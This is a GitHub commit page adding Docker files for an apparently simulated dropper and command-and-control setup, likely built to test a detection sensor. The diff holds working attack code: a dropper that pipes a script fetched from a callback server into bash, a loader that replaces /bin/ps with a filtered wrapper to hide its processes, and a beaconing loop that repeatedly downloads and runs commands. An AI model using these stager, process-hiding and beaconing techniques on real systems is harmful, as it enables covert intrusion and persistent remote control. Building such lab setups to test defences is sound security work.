-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
First cut of a dropper with a callback server
- Loading branch information
Anthony Wong
committed
Dec 24, 2017
1 parent
6e1520c
commit 90205af
Showing
8 changed files
with
74 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
FROM python:3.6 | ||
|
||
WORKDIR /opt/callback/ | ||
|
||
COPY loader.sh /opt/callback/loader.sh | ||
COPY c2.sh /opt/callback/c2.sh | ||
|
||
CMD ["python","-m","http.server","8080"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
# Dropper Callback Server | ||
|
||
This container will start a python http.server serving up scripts and files for | ||
droppers to download. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
#!/bin/bash | ||
|
||
echo "Malware commands received" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
#!/bin/bash | ||
|
||
echo "DROPPED" | ||
|
||
# Replace ps with a filtered ps | ||
PS=`which ps` | ||
mv $PS /tmp/ps | ||
cat <<'EOF' > /bin/ps | ||
#!/bin/bash | ||
/tmp/ps $@ | grep -v "notevil" | grep -v "dropper" | grep -v "/tmp/ps" | ||
EOF | ||
chmod a+x /bin/ps | ||
|
||
# Drop in beaconing malware | ||
cat <<'EOF' > /tmp/notevil.sh | ||
while true; do | ||
curl -s http://dropper_callback:8080/c2.sh | bash | ||
sleep 10 | ||
done | ||
EOF | ||
|
||
chmod a+x /tmp/notevil.sh | ||
|
||
/tmp/notevil.sh & |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
FROM savior_sensor_1:latest | ||
|
||
COPY dropper.sh /tmp/dropper.sh | ||
|
||
CMD ["/bin/bash","/tmp/dropper.sh"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
This container has been compromised with a dropper script "white-carded" onto | ||
the system. The container will run `dropper.sh` which will reach out to | ||
the `dropper_callback` container on port `8080` to a second stage malware and | ||
execute it. | ||
|
||
The second stage `loader.sh` will attempt to hide its next stage by replacing (albeit quite poorly) | ||
`/bin/ps` before executing `notevil.sh`. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
#!/bin/bash | ||
|
||
curl -s http://dropper_callback:8080/loader.sh | bash | ||
|
||
# stupid hack to get the container not to shut down | ||
while true; do | ||
sleep 60 | ||
echo "I'm still awake" | ||
done |